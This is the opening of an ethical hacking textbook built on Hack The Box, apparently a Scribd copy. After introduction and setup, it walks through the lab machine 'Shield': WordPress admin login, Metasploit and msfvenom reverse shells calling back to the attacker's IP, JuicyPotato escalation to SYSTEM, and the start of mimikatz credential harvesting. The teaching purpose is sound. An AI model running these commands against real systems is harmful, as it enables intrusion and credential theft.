0% found this document useful (0 votes)
277 views473 pages

Ethical Hacking With HackTheBox

The document is an introduction to a book on ethical hacking using Hack The Box, aimed at beginners and those looking to enhance their skills. It covers the fundamentals of ethical hacking, the importance of practical experience, and outlines the book's structure, which includes various hacking techniques and scenarios. The author, Dr. David Glance, emphasizes the value of community resources and the need for VIP access to Hack The Box for practical exercises.

Uploaded by

Abraham Hyacinth
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
277 views473 pages

Ethical Hacking With HackTheBox

The document is an introduction to a book on ethical hacking using Hack The Box, aimed at beginners and those looking to enhance their skills. It covers the fundamentals of ethical hacking, the importance of practical experience, and outlines the book's structure, which includes various hacking techniques and scenarios. The author, Dr. David Glance, emphasizes the value of community resources and the need for VIP access to Hack The Box for practical exercises.

Uploaded by

Abraham Hyacinth
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 473

hide01.

ir

Ethical Hacking with HackTheBox


hide01.ir
Ethical Hacking With Hack The Box
This is a book for anyone wanting to get started with ethical hacking or to solidify their
knowledge of the fundamentals. It is based on real hacking scenarios that are provided by
Hack The Box, a site that makes developing ethical hacking skills a fun and enjoyable
experience.

I am Dr David Glance and I teach cybersecurity at the University of Western Australia. Apart
from spending time on Hack The Box and writing books about it, I do consulting and
research in cybersecurity.

Outline of the Book

1. Getting Started
2. Enumeration: Networks, SMB, DNS and Websites
3. Enumeration: Web Vulnerabilities
4. Initial Access: Shells and Remote Services
5. Initial Access: Custom Exploits
. Initial Access: Social Engineering
7. Linux Enumeration and Privilege Escalation
. Windows Enumeration and Privilege Escalation
9. Windows Active Directory Enumeration and Privilege Escalation
10. Defense Evasion
11. Command & Control and Persistence
hide01.ir
Introduction
If you have come here to learn about ethical hacking, then you may already be familiar with
what an ethical hacker actually is. For those that don't, the key is the ethical part of the
name which simply means that when you explore a technology, computer, machine, or
network, you are doing so with the owner's permission. Without permission, you are simply
a hacker and very likely doing something illegal. The hacker part of the name means that
you are exploring technologies, computers, machines and networks with the view of finding
weaknesses in them and exploiting those weaknesses for unintended purposes.

Professionally, ethical hackers can work as penetration testers where they will try and find
vulnerabilities in a customer's computer network or their software and then inform the
customer so that they can fix the vulnerabilities before they are exploited by malicious
hackers. Another type of ethical hacker is one that works in a Red Team, which is a group of
ethical hackers that take the exploration and exploitation of a network one step further by
emulating how real hackers would approach the task, sometimes going as far as
establishing a longer lasting presence on the network. Red teams are sometimes asked to
do this whilst another group of ethical hackers, known as a Blue Team, try and stop them.

In writing this book, I wanted to bring in elements of a red team perspective to the ethical
hacking process by covering all aspects of an attacker's "kill chain", the stages normally
followed by attackers looking to gain access to a network, establish a presence there and
then carry out their goal of the attack whether that is to steal information, observe or take
some other action.

There are many ways of learning about ethical hacking from online courses to university
degrees. Most of these approaches will involve varying degrees of practical hand-on labs.
Whilst this helps, there is nothing that substitutes for the 10,000 hour rule which was the
amount of time that author Malcolm Gladwell argued was necessary to become an expert
in any field. Whilst naturally gifted people may get away with less effort to be experts, for
most of us, it is the repetition of basic skills in a variety of different contexts that will make
us "elite" ethical hackers.

Fortunately, someone has found a way of making this process a lot more fun and that is
the Hack The Box team. I discovered Hack The Box, a site that gamifies the learning of
ethical hacking, early in my journey to become an ethical hacker. The challenges on the site
hide01.ir
are graded to suit levels of experience and most importantly, it comes with a phenomenal
community of hackers from around the world who are always ready to help and encourage
anyone who needs it at any time of day. The Hack The Box community also includes
IppSec, whose YouTube videos are one of the best ethical hacking educatlional resources
there is. IppSec makes hacking a Hack The Box challenge as entertaining as it is
instructional. Simply watching these videos and doing the challenges on Hack The Box
would be a great way to learn ethical hacking. That was in fact, what I did.

However, for other people who maybe don't have even the basics of a technical background,
I wanted to try and flatten the learning curve and provide a resource for them to get over the
initial hurdles and onto their journey of lifelong discovery and learning.

The need for VIP access

The exercises in this book require VIP access to Hack The Box. Whilst I would have
preferred not to impose a financial obligation on readers, I think the cost of VIP access is
affordable for anyone wanting to learn ethical hacking. It is a fraction of the cost of
professional certification courses and priced over a year, the cost is less than a few cups of
coffee (or cans of soda) a week. Irrespective of what you use this book for, the investment
in VIP access is well worth it. If you are not sure, you can also just pay monthly.

There are other services on Hack The Box that I do not cover in this book. Hack The Box
itself has its own Academy for training purposes and from what I have seen, it is a great
addition to the site. I obviously think that there is value in the approach taken in this book
and I hope that you agree.
hide01.ir
About the Author
My name is Dr David Glance and I teach cybersecurity at the University of Western
Australia. Before working at UWA, I worked for various companies including Microsoft,
Tibco, and IONA Technologies.

Feel free to reach out to me if you have any suggestions, corrections, or general comments.

David Glance 2021


hide01.ir
Copyright Notice
Copyright © David Glance 2021. Except where otherwise specified, the text in this book is
licensed under the Creative Commons Attribution-ShareAlike License 4.0 (International) (CC-
BY-SA 4.0).
hide01.ir

Chapter 1 Getting Started


hide01.ir
Getting Started with Ethical Hacking
The process of ethical hacking involves discovering vulnerabilities that if exploited by a
threat actor, could result in a compromise of confidentiality, integrity or availability of a
network and the computers running on it. This chapter lays out that process and runs
through how to get started. Setting up a virtual machine with a specific operating system
tailored to the task of ethical hacking. You will be introduced to Hack The Box and the very
first challenge with is solving the registration challenge for signing up for an account.
Following the process of enumeration, vulnerability analysis and exploitation we will get
access to our first box.

The goal of cybersecurity is to protect valuable assets from vulnerabilities being exploited
by threats causing financial loss to the asset's owners. Although these threats are not just
malicious hackers, from the perspective of an ethical hacker, it is people as threats which is
their main concern. An ethical hacker tries to find exploitable vulnerabilities in an
organization's network by emulating a malicious hacker, using same tools but applying
some boundaries around what they do and how they do it. To a large degree, ethical
hackers are to cybersecurity what software testers are to software development. Ethical
hackers test everything, software, configuration, hardware and people that could expose an
asset to exploitation. They report on any vulnerabilities found so that the organization can
fix or mitigate those vulnerability.

To learn the skills of an ethical hacker, it is important to understand the technologies and
how people interact with those technologies within the context of the organization that
owns them. This is challenging enough, but the technologies evolve rapidly and so even
once you understand a technology, you have to keep updating that knowledge with those
changes. This is by no means an easy task, but it is a rewarding one. If you are interested in
how things work, how to break them and how to put things back together again, ethical
hacking will quickly become a passion.

Ethical hacking follows a process that starts with discovery which involves the enumeration
of the network and the devices on the network. With each discovered device, there is further
enumeration of the software and services that are running on it. Uncovering potential
vulnerabilities will lead to a plan about exploiting the vulnerabilities to gain a foothold on
the machine, either to be able to use it to expose information on the machine, or to gain
command execution. From there, there is another round of enumeration to discover more
hide01.ir
information and other users, especially those with higher privileges. This culminates in
getting administrative access to the machine and to total control.

Although this might sound like a linear process, sometimes referred to as the "kill chain", it
is often an iterative one consisting of the steps of enumeration, discovering vulnerabilities
and exploiting them. Because this process can take many paths, it is essential that it is
documented as you go. Without this, it is very easy to overlook things, get lost, or simply
forget what you did to get to a certain point. In a professional sense, the process needs to
be documented for the client as an audit of how their network was compromised so that
they can fix it.

Learning the skills of ethical hacking takes practice in as many different contexts as
possible. You will build a toolkit to assist with this but quickly discover that no one tool is
perfect, and that different approaches and tools may be needed in different situations,
including writing custom tools or scripts of your own. Of course, there is a limit to this and
by necessity, ethical hackers specialize in carrying out penetration testing, playing out
attack and defense scenarios as a red team or blue team (or purple), or end up in another
area of cybersecurity such as forensics.

Although there is a difference between a penetration test that simply aims to find
exploitable vulnerabilities on a machine or network of machines and a full blown emulation
of an adversarial hacker group seeking to take over a network for long term surveillance
and information exfiltration, many of the paths of the techniques that are used will be the
same. Paul Pols (2017) proposed an organization of stages of an attack he called the
Unified Kill Chain. This laid out the staged objectives of the attack as getting an initial
foothold, propagating through the network and getting critical access to assets.

Unified Kill Chain as proposed by Paul Pols


hide01.ir
Even with this organization, it suggests a linear process which in reality is more iterative. As
you will see, gaining access through different users or through exploiting vulnerabilities
allows for further enumeration and discovery that leads to new exploits and privilege
escalation. However, irrespective of what your objectives are in an ethical hacking
assignment, you will still need to know how to carry out enumeration, how to do social
engineering, evade defenses, escalate privileges and collect and exfiltrate information.

What we will do in this book is to try and balance straight up theory, how things work, with
how they don't work in a particular context that makes them exploitable. We are going to
use examples from a site called Hack The Box that provides a range of different types of
challenges on different platforms which require a range of ethical hacking skills. Although
presented as a capture the flag (CTF) exercise, each box is a mix of hunting for clues about
misconfiguration, mistakes that administrators and developers have made or vulnerabilities
in the deployed software. What is also good about this environment is that even if you have
used a particular technique on a challenge before, the box creators find different ways to
make it sufficiently different that you will learn new skills with every attempt.

Another unique and impressive resource that accompanies Hack The Box are the videos
from IppSec. In the videos, IppSec goes through a challenge and takes the time to show the
underlying assumptions and techniques behind what he is doing at every stage. As a
learning (and entertainment) resource, it is priceless, and a strategy for learning ethical
hacking would be to simply watch all of IppSec's videos and follow along with what he is
doing yourself. Whilst I strongly recommend doing this (or as much as you have time), one
thing that this doesn't do is explicitly put all of these techniques into an overall ethical
hacking or penetration testing framework. If you take any of the certification courses in
ethical hacking or pentesting offered by providers such as Offensive Security, SANS
Institute, EC-Council or CREST, you will follow a similar curriculum that covers aspects of
general trade-craft including the use of specific tools.

The skills required to do pentesting are quite broad. In training, the focus remains broad
and so you are exposed to a wide range of software, technologies and techniques. You will
become as fluent in PowerShell as you are in Bash. As comfortable writing a Python script
as dissecting PHP code. And able to manipulate Assembly language to make a program do
what it was never designed to do.
hide01.ir
Setting up the VM
It is important when doing ethical hacking to do it from an environment which is not directly
your work or personal computer. Fortunately, virtual machine (VM) technologies have made
it simple to run guest operating systems on a computer and to configure these VMs with a
suite of tools commonly used in the ethical hacking process. This is usually based on a
Linux platform, but there are equivalent environments built for Windows as well. On the
Linux side, two of the most popular VM distributions are Kali from Offensive Security
(https://www.kali.org/downloads/\) and the other is ParrotOS from the Parrot Project
(https://www.parrotsec.org/\). These two platforms are very similar and if you are familiar
with one, switching between them will not present a problem. For the purposes of this book,
we will use ParrotOS, mainly because it is the one I prefer. However, if you are planning to
do the OSCP, the training material will be based on Kali Linux and so it might make more
sense to use Kali. Both platforms are Debian-based and feature the same tool sets. In most
cases, we will be downloading and using the latest versions of tools in any event.

Sometimes it is very useful to use a Windows VM and for this, we will refer to Windows
Commando VM from Fireeye (https://github.com/fireeye/commando-vm\). Commando VM
is actually a set of scripts that install a range of useful software on a regular Windows 10
environment and configures it to stop it deleting everything thinking it is malware.

Virtual Machine Software VMWare or VirtualBox

Both VMWare and VirtualBox (https://www.virtualbox.org/\) offer similar features with


VirtualBox's main advantage being that it is open source and free. Whichever platform you
decide to use, it is worth getting into the habit of taking snapshots of your VMs and storing
them on an external disk. VMs occasionally crash and get corrupted and so having a
backup that you can revert to is important especially as you will accumulate notes,
software and scripts that you will want to be able to refer back to.

We will not go through the setting up of a desktop environment in this book. There are
plenty of good guides on the Internet to do that.
hide01.ir
Taking Notes

Taking notes as you go along any penetration testing engagement or challenge on Hack
The Box is vital. A great application for this is Cherrytree
(https://www.giuspen.com/cherrytree/\) which can be installed easily using apt:

sudo apt install cherrytree

Cherrytree’s node structure allows for simple organisation of different aspects of an


engagement with the ability to preserve code, screenshots and other artefacts that would
make writing up a final report relatively easy.

We will come back to the structure of notes that you would take with each step in the
process of engagement.

Tmux

Tmux is a terminal multiplexer and allows you to run a number of different shell sessions in
windows and panes. It has a number of advantages over using the native bash or other
shell window. The tmux session itself can be detached and re-attached to a shell easily and
splitting windows into vertical and horizontal panes allows you to have better control when
handling two related activities, for example communicating between a local and remote
machine.

Organising activities according to the windows in a tmux session makes it easier to do


activities in parallel and make more efficient use of your time.

We will only cover the basic commands here. Most of the commands are accessed using
the control key and the ‘b’ key (ctrl-b) and then a letter for the command.

To start a session type the following in a shell window

tmux new -s HTB

To create a window
ctrl-b c
hide01.ir
To switch between windows use:

Next window: ctrl-b n

Previous window: ctrl-b p

It is worth naming windows so that you know what you are doing in each window. To do
that use:

ctrl-b

To split a window into two panes arranged horizontally, use:

Split horizontally: ctrl-b “

Split vertically: ctrl-b %

Switch panes: ctrl-b o

For a full list of commands have a look here https://tmuxcheatsheet.com/ A good


introductory video by IppSec on tmux is on YouTube https://youtu.be/Lqehvpe_djs

A good way of arranging the first few windows is as follows:

Window 0: run openvpn connection to connect to Hack The Box


Window 1: run nmap and other network enumeration tools
Window 2: run gobuster and other web enumeration tools
Window 3+: other activities

Although it is always a good idea to save output from running exploration tools, having the
windows to jump back to for reference is useful as well.
hide01.ir
Exercise: The Shield Box with Metasploit
On logging in to Hack The Box, you will be presented with lots of things you can do via the
dashboard (Figure 1-6). In this book, we are going to focus on the Machines that are part of
the Labs environment of the site. In particular we are going to stick to Retired Machines
because writeups and videos discussing approaches to these challenges are public.
Remember that to get access to all of the retired machines, you will need a VIP account. A
machine is an actual virtual machine that is hosted on a server located in a region that is
accessible via VPN connection. You should choose a region that is close to where you live
in order to get the best response times from the machines. Hack The Box has a tutorial on
how to get VPN access (https://help.hackthebox.eu/getting-started/v2-introduction-to-vpn-
access\). Each machine will have a unique IP address and if the machine is not started
already by someone else, you can start the machine and it will run for a minimum of 24
hours. If you haven't finished in that time, you can extend the length of time the machine
runs by a further period. When you are ready, you can tackle the Active Machines which are
ones for which there are no public writeups or videos available and you are on your own to
try and solve the challenge.

All Hack The Box machines present the same goals, getting a user flag which is a 32
character unique hexadecimal string. Once this is obtained, you then need to get the root
flag which means getting administrator privileges on the box. In our case studies, I won't
explicitly talk about getting these flags although everything we do will allow you to get and
submit them.
hide01.ir

The Hack The Box Dashboard

To get started, we are going to look at a machine called Shield in the Starting Point track.
This isn't the first machine in the list but it will enable us to explore some different
approaches to tackling these challenges. We will go through the standard enumeration and
look for an entry point into a misconfigured WordPress site. We will do this using command
line tools and through the use of the amazing Metasploit Framework.

There will be things that you do here that haven’t been covered yet and so I ask that you
bear with me and concentrate on the use of Metasploit and meterpreter shells. The other
aspects will be dealt with in more detail later. I could have skipped over the initial parts but
if you are still uncomfortable, go ahead and read the enumeration section and then come
back.
hide01.ir
Setup

To connect to the Starting Point machines, you need to run a VPN with the Starting Point
access pack. Download the openvpn configuration file and run that using:

sudo openvpn <username>-startingpoint.ovpn

I find it convenient to add the hostname of the machine in the /etc/hosts file so that I can
refer to the hostname and not have to remember the IP address. Add the hostname of the
machine and associate it with its IP address:

sudo vi /etc/hosts

and then add

10.10.10.29 shield.htb

Create a directory called Shield that you can use as the working directory for this challenge.
Create a sub-directory called nmap to store the nmap results.

Finding Open Ports and Services

In starting any box on Hack The Box, the first step is to perform enumeration of the network
services that the box provides. We are given the IP address of the box and so what we need
to know is what ports are open and what services are running on the machines listening on
those ports. We will go into networking in the next chapter and describe how services can
listen on specific ports for connections from client software. Web servers for example,
usually listen on ports 80 and 443. For the time being, however, just follow along without
hide01.ir
worrying too much about the detail. To scan for open ports on the box, we will use a
command line tool nmap.

Performing an Nmap Scan

To start, add a hostname for the box and associate it with its IP address.

Run an nmap scan in the terminal using the command:

nmap -Pn -v -sC -sV -p- --min-rate=1000 -T4 shield.htb -o nmap/shield-tcp-fu

You might see an alternative of this command which is to run an initial scan to get the open
ports and then run the second command to get information about the services and versions
of software. There isn't very much difference between the two approaches however and so
it is easier simply to run the single script.

When run, nmap will report 2 ports open, port 80 and port 3306.

1 PORT STATE SERVICE VERSION


2 80/tcp open http Microsoft IIS httpd 10.0
3 | http-methods:
4 | Supported Methods: OPTIONS TRACE GET HEAD POST
5 |_ Potentially risky methods: TRACE
6 |_http-server-header: Microsoft-IIS/10.0
7 |_http-title: IIS Windows Server
8 3306/tcp open mysql MySQL (unauthorized)
9 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The output from nmap tells us that Shield is a windows box running Microsoft IIS web
server on port 80. Opening the URL http://shield.htb gives the default IIS web page.
hide01.ir

Check for Subdirectories

Continuing the enumeration, we want to discover more about the website and in particular,
its directory structure and potential files in those directories. Web servers are normally
configured to serve HTML and other types of files from a root directory, like
/var/www/html/ for example. The root directory may have subdirectories to organize files
that the website uses like stylesheets and JavaScript. Subdirectories may also be used for
files that belong to other websites.

To explore the subdirectories and files that a website has access to, we can use a tool
called gobuster. Gobuster uses dictionaries of common words associated with directories
and files and will just repeatedly try URL paths replacing the final part of the path with
words from the dictionary. This process is called fuzzing and it is used in hacking to
explore the effect of inputs on the outputs of a program.

Running gobuster using the directory dictionary /usr/share/wordlists/dirbuster/directory-


list-2.3-medium.txt, we discover a sub-directory of the website called wordpress indicated
by the status code 301. This status code indicates to the requester that the URL has been
hide01.ir
moved permanently to another location, in this case to the URL
http://shield.htb/wordpress/.

1 ──[rin@parrot]─[~/boxes/StartingPoint/Shield]
2 └──╼ $gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-me
3 -u http://10.10.10.29
4 ===============================================================
5 Gobuster v3.0.1
6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
7 ===============================================================
8 [+] Url: http://10.10.10.29
9 [+] Threads: 10
10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 [+] Status codes: 200,204,301,302,307,401,403
12 [+] User Agent: gobuster/3.0.1
13 [+] Timeout: 10s
14 ===============================================================
15 ... Starting gobuster
16 ===============================================================
17 /wordpress (Status: 301)

The url http://shield.htb/wordpress reveals a wordpress website called SHIELDSUP that


features blog posts by a user admin. Wordpress sites by default have administration pages
at the url http://shield.htb/wordpress/wp-admin. you already know a user admin and from
a previous machine in the StartingPoint series, you would have discovered the password
P@s5w0rd!. Trying this with the user admin gets us in.

Launching a Meterpreter Reverse Shell

The objective of the challenge is to gain access to the box to explore and hopefully discover
more vulnerabilities that can be exploited to gain further privilege and access. This means
getting control of user accounts that give progressively more access until we get to be the
administrator of the box. Initial access usually refers to gaining a shell as one of these
users. A shell is a program that allows a user the ability to type commands and display
results.
hide01.ir
On Windows it is the cmd.exe program, on Linux it is bash or zsh that runs in the terminal
program. We have been using a shell on our Parrot box to carry out all of the actions we
have taken so far. When a shell is run locally on a box, it is a local shell. Remote shells are
those that are accessed over a network connection so that the commands are typed on the
local attacker box but run on the remote machine. We can set up a remote shell by running
a program on our local Parrot box which listens for connections and then run a program on
the remote machine that connects back to the listener and establishes the remote shell
session. This is called a reverse shell.

We will explore all of this in more detail in the next chapter, but for the moment, we are
going to get a reverse shell using Meterpreter. Time to turn to Metasploit which has a way
of launching a meterpreter reverse shell in PHP! Start Metasploit by selecting it from the
menu or by running

sudo msfconsole-start

In Metasploit, we are going to use an existing exploit of the WordPress administrator


account by uploading a plugin to WordPress that is actually a reverse shell. Plugins, as we
see later when we craft our own custom plugin, are ways of packaging PHP code to add
functionality to WordPress. The security vulnerability with this is that this code has access
to do whatever the user account that is running WordPress can do. There is nothing limiting
what code in plugins can do normally. In the case of this exploit, we use the command:

use exploit/unix/webapp/wp_admin_shell_upload

We can ignore the fact that this is a Windows box not a Unix one. It still works.

You can set the options for this exploit using the set command:

1 set PASSWORD P@s5w0rd!


2 set USERNAME admin
3 set TARGETURI /wordpress
4 set RHOSTS 10.10.10.29
5
hide01.ir
set LHOST 10.10.14.2

LHOST is the IP address of your attacker machine which you can get using the command
“ifconfig”. After doing that, the options should look as follows:

1 msf6 exploit(unix/webapp/wp_admin_shell_upload) > options


2 Module options (exploit/unix/webapp/wp_admin_shell_upload):
3 Name Current Setting Required Description
4 ---- --------------- -------- -----------
5 PASSWORD P@s5w0rd! yes The WordPress password to authenticate with
6 Proxies no A proxy chain of format type:host:port[,type:host:port][...]
7 RHOSTS 10.10.10.29 yes The target host(s), range CIDR identifier,
8 or hosts file with syntax 'file:<path>'
9 RPORT 80 yes The target port (TCP)
10 SSL false no Negotiate SSL/TLS for outgoing connections
11 TARGETURI /wordpress yes The base path to the wordpress application
12 USERNAME admin yes The WordPress username to authenticate with
13 VHOST no HTTP server virtual host
14 Payload options (php/meterpreter/reverse_tcp):
15 Name Current Setting Required Description
16 ---- --------------- -------- -----------
17 LHOST 10.10.14.2 yes The listen address (an interface may be specified)
18 LPORT 4444 yes The listen port

All that remains is to type “run”. The exploit consists of uploading a plugin that consists of
a php page and then calling that page. This executes a staged meterpreter reverse shell.
The output should be something like:

1 msf6 exploit(unix/webapp/wp_admin_shell_upload) > run


2 [*] Started reverse TCP handler on 10.10.14.2:4444
3 [*] Authenticating with WordPress using admin:P@s5w0rd!...
4 [+] Authenticated with WordPress
5 [*] Preparing payload...
6 [*] Uploading payload...
7 [*] Executing the payload at /wordpress/wp-content/plugins
8 /glPxlNrGRx/aaBiENhsux.php...
9 [*] Sending stage (39189 bytes) to 10.10.10.29
10 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.29:55060)
11 at 2020-10-06 14:40:38 +0800
12 [!] This exploit may require manual cleanup of 'aaBiENhsux.php' on the tar
13 [!] This exploit may require manual cleanup of 'glPxlNrGRx.php' on the tar
14
hide01.ir
[!] This exploit may require manual cleanup of '../glPxlNrGRx' on the targ
15 meterpreter >

Upgrading the Meterpreter Reverse Shell

That gives us a meterpreter shell that is a little unstable and also, because it is written in
PHP, somewhat limited in its abilities. We are going to generate a better meterpreter shell
using a program called msfvenom. To start with we can use msfvenom to generate a
Windows executable program that will run the meterpreter reverse shell. To do this, we need
to exit from the meterpreter session by typing bg and then hit return.

Then we can type

1 msf6 exploit(unix/webapp/wp_admin_shell_upload) >


2 msfvenom -p windows/x64/meterpreter_reverse_tcp \
3 LHOST=10.10.14.3 LPORT=6001 -f exe > revshell.exe
4 [*] exec: msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3
5 LPORT=6001 -f exe > revshell.exe
6 [-] No platform was selected, choosing Msf::Module::Platform::Windows
7 from the payload
8 [-] No arch selected, selecting arch: x64 from the payload
9 No encoder specified, outputting raw payload
10 Payload size: 200262 bytes
11 Final size of exe file: 206848 bytes

If you have problems running msfvenom within Metasploit, you can run it from
the command line in bash

Once the payload is created, we can upload it to the Shield machine. We need to get back
into the current meterpreter session first. We do that with the sessions command. Just
typing sessions will list the current sessions available. We can interact with a session using
the sessions -i <session number> command:
hide01.ir
1 msf6 exploit(unix/webapp/wp_admin_shell_upload) > sessions
2
3 Active sessions
4 ===============
5
6 Id Name Type Information Connection
7 -- ---- ---- ----------- ----------
8 1 meterpreter php/windows IUSR (0) @ SHIELD 10.10.14.13:4444 -
9 10.10.10.29:57574
10 (10.10.10.29)
11
12 msf6 exploit(unix/webapp/wp_admin_shell_upload) > sessions -i 1
13 [*] Starting interaction with 1...
14
15 meterpreter >

Once back in the meterpreter session , we can upload the revshell.exe using the meterpreter
command upload:

1 meterpreter > upload revshell.exe


2 [*] uploading : revshell.exe -> revshell.exe
3 [*] Uploaded -1.00 B of 202.00 KiB (-0.0%): revshell.exe -> revshell.exe
4 [*] uploaded : revshell.exe -> revshell.exe
5 meterpreter >

Before you run this shell, you want to run another exploit/multi/handler to handle the
reverse shell. We need to get out of the meterpreter session to get back to the Metasploit
prompt by using the background command "bg". We can then use exploit/multi/handler
and set the options to match what we set for the reverse shell with msfvenom above.

1 meterpreter > bg
2 [*] Backgrounding session 1...
3 msf6 exploit(unix/webapp/wp_admin_shell_upload) > use exploit/multi/handle
4 [*] Using configured payload generic/shell_reverse_tcp
5 msf6 exploit(multi/handler) > set Payload windows/x64/meterpreter_reverse_
6 Payload => windows/x64/meterpreter_reverse_tcp
7 msf6 exploit(multi/handler) > set LHOST 10.10.14.3
8 LHOST => 10.10.14.3
9 msf6 exploit(multi/handler) > set LPORT 6001
10 LPORT => 6001
11
hide01.ir
We can now start the revese shell listener using the command "run -j".
12 msf6 exploit(multi/handler) > run -j
13 [*] Exploit running as background job 0.
14 [*] Exploit completed, but no session was created.
15 [*] Started reverse TCP handler on 10.10.14.3:6001

Finally, we need to return to the original meterpreter session to run the new reverse shell
payload. To get back to a session, you can list them with the command “sessions” and then
select the session by using "sessions -i <session number>"

1 msf6 exploit(multi/handler) > sessions


2 Active sessions
3 ===============
4 Id Name Type Information Connection
5 -- ---- ---- ----------- ----------
6 1 meterpreter php/windows IUSR (0) @ SHIELD 10.10.14.3:4444 -> 10.10.10.2
7 (10.10.10.
8 msf6 exploit(multi/handler) > sessions -i 1
9 [*] Starting interaction with 1...
10 meterpreter >

We can then just execute the meterpreter reverse shell by executing revshell.exe and waiting
for the new meterpreter session to start. We then background the first session and interact
with the new meterpreter session we just created.

1 meterpreter > execute -f revshell.exe


2 Process 3280 created.
3 meterpreter > [*] Meterpreter session 2 opened (10.10.14.3:6001 ->
4 10.10.10.29:56135) at 2020-10-08 14:10:38
5 meterpreter > bg
6 [*] Backgrounding session 1...
7 msf6 exploit(multi/handler) > sessions -i 2
8 [*] Starting interaction with 2...
9 meterpreter >

We are now in a new, more powerful meterpreter session and typing help will show more
commands than were available with the php meterpreter shell (not all shells are equal). You
hide01.ir
can verify this by typing help at the meterpreter command and seeing the range of
commands available.

Discovery and Privilege Escalation

Now that we have achieved initial access, the process of further enumeration or discovery
takes place. We are looking for ways of elevating our user account to administrator and
gain total ownership of the box. This process is called privilege escalation or priv esc for
short.

In Metasploit, you can run a command that will look for particular vulnerabilities that will
lead to privilege escalation. This command is the “local_exploit_suggester”

1 meterpreter > bg
2 [*] Backgrounding session 2...
3 msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
4 msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
5 SESSION => 2
6 msf6 post(multi/recon/local_exploit_suggester) > run
7 [*] 10.10.10.29 - Collecting local exploits for x64/windows...
8 [*] 10.10.10.29 - 26 exploit checks are being tried...
9 [+] 10.10.10.29 - exploit/windows/local/bypassuac_sdclt:
10 The target appears to be vulnerable.
11 [+] 10.10.10.29 - exploit/windows/local/cve_2020_1048_printerdemon:
12 The target appears to be vulnerable.
13 [+] 10.10.10.29 - exploit/windows/local/cve_2020_1337_printerdemon:
14 The target appears to be vulnerable.
15 [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection:
16 The target appears to be vulnerable.
17 [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection_juicy:
18 The target appears to be vulnerable.
19 [*] Post module execution completed
20 msf6 post(multi/recon/local_exploit_suggester) >

Normally when reviewing possible exploits, experience will tell you which ones are likely to
work better than others. In some cases though it might be a question of trial and error to
find one that works. This could be a problem if any of the exploits leave the machine in an
unstable state. If that is the case in Hack The Box, you can ask for the machine to be reset.
hide01.ir
There is a bug in the current version of Metasploit. If you get an exception "Post
failed - NameError uninitialized constant
Msf::Exploit::CheckCode::NotSupported" there is a fix on GitHub

Otherwise, you can edit the file yourself:

1 sudo vi /usr/share/metasploit-framework/modules/exploits/windows/
2 local/cve_2020_1054_drawiconex_lpe.rb

and change line 112 from CheckCode::NotSupported to CheckCode::Safe

1 Remove this on 112 --> return CheckCode::NotSupported


2 Add this instead --> return CheckCode::Safe("No target for win3
3 version #{build_num_gemve

restart metasploit after this.

From experience, I know that the most promising exploit is going to be


ms16_075_reflection_juicy which is the JuicyPotato exploit. This vulnerability allows for
privilege escalation through impersonation of the System user. It occurs if the user doing
the exploit has certain privileges, notable the SeImpersonate privilege. Unfortunately, the
Metasploit module doesn’t work as is and so you have to do this manually by downloading
JuicyPotato.exe from https://github.com/ohpe/juicy-potato/releases/tag/v0.1

We can run another handler as before and then upload JuicyPotato.exe. One more step
however as executing it from the meterpreter prompt doesn’t work. So you can drop into a
cmd.exe shell prompt by typing “shell”. From the command prompt, you can then run the
JuicyPotato.exe

1 JuicyPotato.exe -t * -p ^
2
hide01.ir
C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr\revshell.exe -l

Remember to change the path of the revshell.exe to the actual path name Meterpreter has
used. When JuicyPotato.exe runs, it will start another meterpreter session but as the
privileged user that the exploit has impersonated, NT AUTHORITY\SYSTEM. From there,
you can cd (change directory) into the c:\Users\Administrator directory and find the flag.

1 meterpreter > shell


2 Process 376 created.
3 Channel 2 created.
4 Microsoft Windows [Version 10.0.14393]
5 (c) 2016 Microsoft Corporation. All rights reserved.
6 C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr>JuicyPotato.exe
7 -t * -p C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr\revshel
8 -l 1337
9 juicypot.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\plugins\
10 dBPEarcLsr\revshell.exe -l 1337
11 Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
12 ......
13 [+] authresult 0
14 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
15 [+] CreateProcessWithTokenW OK
16 C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr>
17 [*] Meterpreter session 3 opened (10.10.14.3:6001 -> 10.10.10.29:56144)
18 at 2020-10-08 14:38:04 +0800
19 C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr>exit
20 meterpreter > sessions 3
21 [*] Backgrounding session 2...
22 [*] Starting interaction with 3...
23 meterpreter > getuid
24 Server username: NT AUTHORITY\SYSTEM

Finding User Credentials

Now that we have administrator privileges, we can do some more discovery to look for any
other useful information on the box, in particular, other user accounts and their passwords.
hide01.ir
We will come back to this later in the book and deal with it in more details but what you will
do is take advantage of a module that Meterpreter allows us to run called “kiwi” that is the
module that runs “mimikatz” commands. Mimikatz is a program that has been designed to
search for and collect credentials on Windows from a number of different places where
these are commonly stored. These include the two main sources:

Passwords stored in memory. mimikatz looks for passwords that may be in the
